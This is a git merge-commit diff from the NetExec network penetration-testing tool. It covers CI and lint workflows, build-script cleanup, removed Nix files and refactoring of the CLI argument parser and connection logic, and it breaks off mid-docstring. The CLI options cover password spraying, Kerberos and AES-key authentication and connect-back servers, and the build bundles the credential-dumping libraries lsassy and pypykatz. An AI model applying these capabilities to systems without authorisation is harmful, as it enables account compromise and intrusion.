Merge branch 'develop' into s4u
Signed-off-by: zblurx <68540460+zblurx@users.noreply.github.com>main
commit
4853942fee
|
@ -0,0 +1,30 @@
|
|||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Python code with ruff
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: 3.11
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
|
@ -9,13 +9,13 @@ jobs:
|
|||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 4
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec tests on ${{ matrix.os }}
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
|
@ -57,9 +57,6 @@ coverage.xml
|
|||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
|
||||
This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
|
||||
|
||||
Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
|
||||
Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
|
||||
During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
|
||||
With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
|
||||
Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
|
@ -11,27 +8,26 @@ from pathlib import Path
|
|||
|
||||
from shiv.bootstrap import Environment
|
||||
|
||||
# from distutils.ccompiler import new_compiler
|
||||
from shiv.builder import create_archive
|
||||
from shiv.cli import __version__ as VERSION
|
||||
|
||||
|
||||
def build_nxc():
|
||||
print("building nxc")
|
||||
print("Building nxc")
|
||||
try:
|
||||
shutil.rmtree("bin")
|
||||
shutil.rmtree("build")
|
||||
except Exception as e:
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception as e:
|
||||
print(f"Exception while removing bin & build: {e}")
|
||||
|
||||
try:
|
||||
print("remove useless files")
|
||||
os.mkdir("build")
|
||||
os.mkdir("bin")
|
||||
shutil.copytree("nxc", "build/nxc")
|
||||
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(f"Exception while creating bin and build directories: {e}")
|
||||
return
|
||||
|
||||
subprocess.run(
|
||||
|
@ -48,7 +44,6 @@ def build_nxc():
|
|||
check=True,
|
||||
)
|
||||
|
||||
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
|
||||
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
|
||||
|
||||
env = Environment(
|
||||
|
@ -93,7 +88,7 @@ if __name__ == "__main__":
|
|||
try:
|
||||
build_nxc()
|
||||
build_nxcdb()
|
||||
except:
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
finally:
|
||||
shutil.rmtree("build")
|
||||
|
|
92
flake.lock
92
flake.lock
|
@ -1,92 +0,0 @@
|
|||
{
|
||||
"nodes": {
|
||||
"flake-utils": {
|
||||
"locked": {
|
||||
"lastModified": 1649676176,
|
||||
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-utils_2": {
|
||||
"locked": {
|
||||
"lastModified": 1649676176,
|
||||
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1651248272,
|
||||
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_2": {
|
||||
"locked": {
|
||||
"lastModified": 1651248272,
|
||||
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"poetry2nix": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils_2",
|
||||
"nixpkgs": "nixpkgs_2"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1651165059,
|
||||
"narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
|
||||
"owner": "nix-community",
|
||||
"repo": "poetry2nix",
|
||||
"rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-community",
|
||||
"repo": "poetry2nix",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs",
|
||||
"poetry2nix": "poetry2nix"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
36
flake.nix
36
flake.nix
|
@ -1,36 +0,0 @@
|
|||
{
|
||||
description = "Application packaged using poetry2nix";
|
||||
|
||||
inputs.flake-utils.url = "github:numtide/flake-utils";
|
||||
inputs.nixpkgs.url = "github:NixOS/nixpkgs";
|
||||
inputs.poetry2nix.url = "github:nix-community/poetry2nix";
|
||||
|
||||
outputs = { self, nixpkgs, flake-utils, poetry2nix }:
|
||||
{
|
||||
# Nixpkgs overlay providing the application
|
||||
overlay = nixpkgs.lib.composeManyExtensions [
|
||||
poetry2nix.overlay
|
||||
(final: prev: {
|
||||
# The application
|
||||
NetExec = prev.poetry2nix.mkPoetryApplication {
|
||||
projectDir = ./.;
|
||||
};
|
||||
})
|
||||
];
|
||||
} // (flake-utils.lib.eachDefaultSystem (system:
|
||||
let
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
overlays = [ self.overlay ];
|
||||
};
|
||||
in
|
||||
{
|
||||
apps = {
|
||||
NetExec = pkgs.NetExec;
|
||||
};
|
||||
|
||||
defaultApp = pkgs.NetExec;
|
||||
|
||||
packages = { NetExec = pkgs.NetExec; };
|
||||
}));
|
||||
}
|
|
@ -48,6 +48,7 @@ a = Analysis(
|
|||
'lsassy.parser',
|
||||
'lsassy.session',
|
||||
'lsassy.impacketfile',
|
||||
'bloodhound',
|
||||
'dns',
|
||||
'dns.name',
|
||||
'dns.resolver',
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("lsassy")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("pypykatz")
|
||||
|
|
164
nxc/cli.py
164
nxc/cli.py
|
@ -1,12 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from argparse import RawTextHelpFormatter
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from termcolor import colored
|
||||
from nxc.logger import nxc_logger
|
||||
import importlib.metadata
|
||||
|
||||
|
@ -32,34 +28,12 @@ def gen_cli_args():
|
|||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
""",
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
)
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
type=int,
|
||||
dest="threads",
|
||||
default=100,
|
||||
help="set how many concurrent threads to use (default: 100)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--timeout",
|
||||
default=None,
|
||||
type=int,
|
||||
help="max timeout in seconds of each thread (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--jitter",
|
||||
metavar="INTERVAL",
|
||||
type=str,
|
||||
help="sets a random delay between each connection (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-progress",
|
||||
action="store_true",
|
||||
help="Not displaying progress bar during scan",
|
||||
)
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
@ -68,132 +42,44 @@ def gen_cli_args():
|
|||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument(
|
||||
"-o",
|
||||
metavar="MODULE_OPTION",
|
||||
nargs="+",
|
||||
default=[],
|
||||
dest="module_options",
|
||||
help="module options",
|
||||
)
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument(
|
||||
"--options",
|
||||
dest="show_module_options",
|
||||
action="store_true",
|
||||
help="display module options",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server",
|
||||
choices={"http", "https"},
|
||||
default="https",
|
||||
help="use the selected server (default: https)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-host",
|
||||
type=str,
|
||||
default="0.0.0.0",
|
||||
metavar="HOST",
|
||||
help="IP to bind the server to (default: 0.0.0.0)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-port",
|
||||
metavar="PORT",
|
||||
type=int,
|
||||
help="start the server on the specified port",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--connectback-host",
|
||||
type=str,
|
||||
metavar="CHOST",
|
||||
help="IP for the remote system to connect back to (default: same as server-host)",
|
||||
)
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser.add_argument(
|
||||
"target",
|
||||
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
|
||||
type=str,
|
||||
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-id",
|
||||
metavar="CRED_ID",
|
||||
nargs="+",
|
||||
default=[],
|
||||
type=str,
|
||||
dest="cred_id",
|
||||
help="database credential ID(s) to use for authentication",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-u",
|
||||
metavar="USERNAME",
|
||||
dest="username",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="username(s) or file(s) containing usernames",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-p",
|
||||
metavar="PASSWORD",
|
||||
dest="password",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="password(s) or file(s) containing passwords",
|
||||
)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument(
|
||||
"--use-kcache",
|
||||
action="store_true",
|
||||
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
|
||||
)
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument(
|
||||
"--aesKey",
|
||||
metavar="AESKEY",
|
||||
nargs="+",
|
||||
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"--kdcHost",
|
||||
metavar="KDCHOST",
|
||||
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
|
||||
)
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument(
|
||||
"--gfail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of global failed login attempts",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--ufail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per username",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--fail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per host",
|
||||
)
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
try:
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
|
||||
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
|
||||
except:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
|
|
|
@ -1,8 +1,7 @@
|
|||
# coding=utf-8
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
import configparser
|
||||
from nxc.paths import nxc_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.logger import nxc_logger
|
||||
from ast import literal_eval
|
||||
|
@ -11,11 +10,11 @@ nxc_default_config = configparser.ConfigParser()
|
|||
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
|
||||
|
||||
nxc_config = configparser.ConfigParser()
|
||||
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
|
||||
if "nxc" not in nxc_config.sections():
|
||||
first_run_setup()
|
||||
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
|
||||
# Check if there are any missing options in the config file
|
||||
for section in nxc_default_config.sections():
|
||||
|
@ -24,10 +23,10 @@ for section in nxc_default_config.sections():
|
|||
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
|
||||
nxc_config.set(section, option, nxc_default_config.get(section, option))
|
||||
|
||||
with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
|
||||
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
|
||||
#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
|
||||
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
|
||||
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
|
||||
pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
|
||||
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
|
@ -45,4 +44,4 @@ if len(host_info_colors) != 4:
|
|||
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
|
||||
def process_secret(text):
|
||||
hidden = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else hidden+audit_mode * 8
|
||||
return text if not audit_mode else hidden + audit_mode * 8
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
import socket
|
||||
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
|
||||
|
@ -17,6 +14,7 @@ from nxc.logger import nxc_logger, NXCAdapter
|
|||
from nxc.context import Context
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
|
@ -25,39 +23,41 @@ user_failed_logins = {}
|
|||
|
||||
def gethost_addrinfo(hostname):
|
||||
try:
|
||||
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
for res in getaddrinfo(hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
|
||||
except socket.gaierror:
|
||||
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
for res in getaddrinfo(hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = sa[0] if sa[0] else canonname
|
||||
return host
|
||||
|
||||
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
return
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding['wTowerId'] == 7:
|
||||
if strBinding['aNetworkAddr'].find('[') >= 0:
|
||||
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
|
||||
bindingPort = '[' + bindingPort
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding['aNetworkAddr']
|
||||
bindingPort = ''
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
|
||||
stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
|
@ -65,12 +65,14 @@ def dcom_FirewallChecker(iInterface, timeout):
|
|||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
class connection(object):
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.args = args
|
||||
|
@ -80,7 +82,7 @@ class connection(object):
|
|||
self.admin_privs = False
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
|
@ -152,26 +154,46 @@ class connection(object):
|
|||
return
|
||||
|
||||
def proto_flow(self):
|
||||
self.logger.debug(f"Kicking off proto_flow")
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info():
|
||||
# because of null session
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def call_cmd_args(self):
|
||||
for k, v in vars(self.args).items():
|
||||
if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
|
||||
if v is not False and v is not None:
|
||||
self.logger.debug(f"Calling {k}()")
|
||||
r = getattr(self, k)()
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
|
||||
Iterates over the attributes of an object (self.args)
|
||||
For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
|
||||
If both conditions are met and the attribute value is not False or None,
|
||||
it calls the function and logs a debug message
|
||||
|
||||
Parameters
|
||||
----------
|
||||
self (object): The instance of the class.
|
||||
|
||||
Returns
|
||||
-------
|
||||
None
|
||||
"""
|
||||
for attr, value in vars(self.args).items():
|
||||
if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
|
||||
self.logger.debug(f"Calling {attr}()")
|
||||
getattr(self, attr)()
|
||||
|
||||
def call_modules(self):
|
||||
"""Calls modules and performs various actions based on the module's attributes.
|
||||
|
||||
It iterates over the modules specified in the command line arguments.
|
||||
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
|
||||
"""
|
||||
for module in self.module:
|
||||
self.logger.debug(f"Loading module {module.name} - {module}")
|
||||
module_logger = NXCAdapter(
|
||||
|
@ -208,7 +230,7 @@ class connection(object):
|
|||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
|
||||
if username not in user_failed_logins.keys():
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
|
||||
user_failed_logins[username] += 1
|
||||
|
@ -225,53 +247,54 @@ class connection(object):
|
|||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins.keys():
|
||||
if self.args.ufail_limit == user_failed_logins[username]:
|
||||
return True
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def query_db_creds(self):
|
||||
"""
|
||||
Queries the database for credentials to be used for authentication.
|
||||
"""Queries the database for credentials to be used for authentication.
|
||||
|
||||
Valid cred_id values are:
|
||||
- a single cred_id
|
||||
- a range specified with a dash (ex. 1-5)
|
||||
- 'all' to select all credentials
|
||||
|
||||
:return: domain[], username[], owned[], secret[], cred_type[]
|
||||
:return: domains[], usernames[], owned[], secrets[], cred_types[]
|
||||
"""
|
||||
domain = []
|
||||
username = []
|
||||
domains = []
|
||||
usernames = []
|
||||
owned = []
|
||||
secret = []
|
||||
cred_type = []
|
||||
secrets = []
|
||||
cred_types = []
|
||||
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
|
||||
data = [] # Arbitrary data needed for the login, e.g. ssh_key
|
||||
|
||||
for cred_id in self.args.cred_id:
|
||||
if isinstance(cred_id, str) and cred_id.lower() == 'all':
|
||||
if cred_id.lower() == "all":
|
||||
creds = self.db.get_credentials()
|
||||
else:
|
||||
if not self.db.get_credentials(filter_term=int(cred_id)):
|
||||
self.logger.error('Invalid database credential ID {}!'.format(cred_id))
|
||||
self.logger.error(f"Invalid database credential ID {cred_id}!")
|
||||
continue
|
||||
creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
|
||||
|
||||
for cred in creds:
|
||||
c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
|
||||
domain.append(domain_single)
|
||||
username.append(username_single)
|
||||
c_id, domain, username, secret, cred_type, pillaged_from = cred
|
||||
domains.append(domain)
|
||||
usernames.append(username)
|
||||
owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line
|
||||
secret.append(secret_single)
|
||||
cred_type.append(cred_type_single)
|
||||
secrets.append(secret)
|
||||
cred_types.append(cred_type)
|
||||
|
||||
if len(secret) != len(data): data = [None] * len(secret)
|
||||
return domain, username, owned, secret, cred_type, data
|
||||
if len(secrets) != len(data):
|
||||
data = [None] * len(secrets)
|
||||
|
||||
return domains, usernames, owned, secrets, cred_types, data
|
||||
|
||||
def parse_credentials(self):
|
||||
"""
|
||||
Parse credentials from the command line or from a file specified.
|
||||
r"""Parse credentials from the command line or from a file specified.
|
||||
|
||||
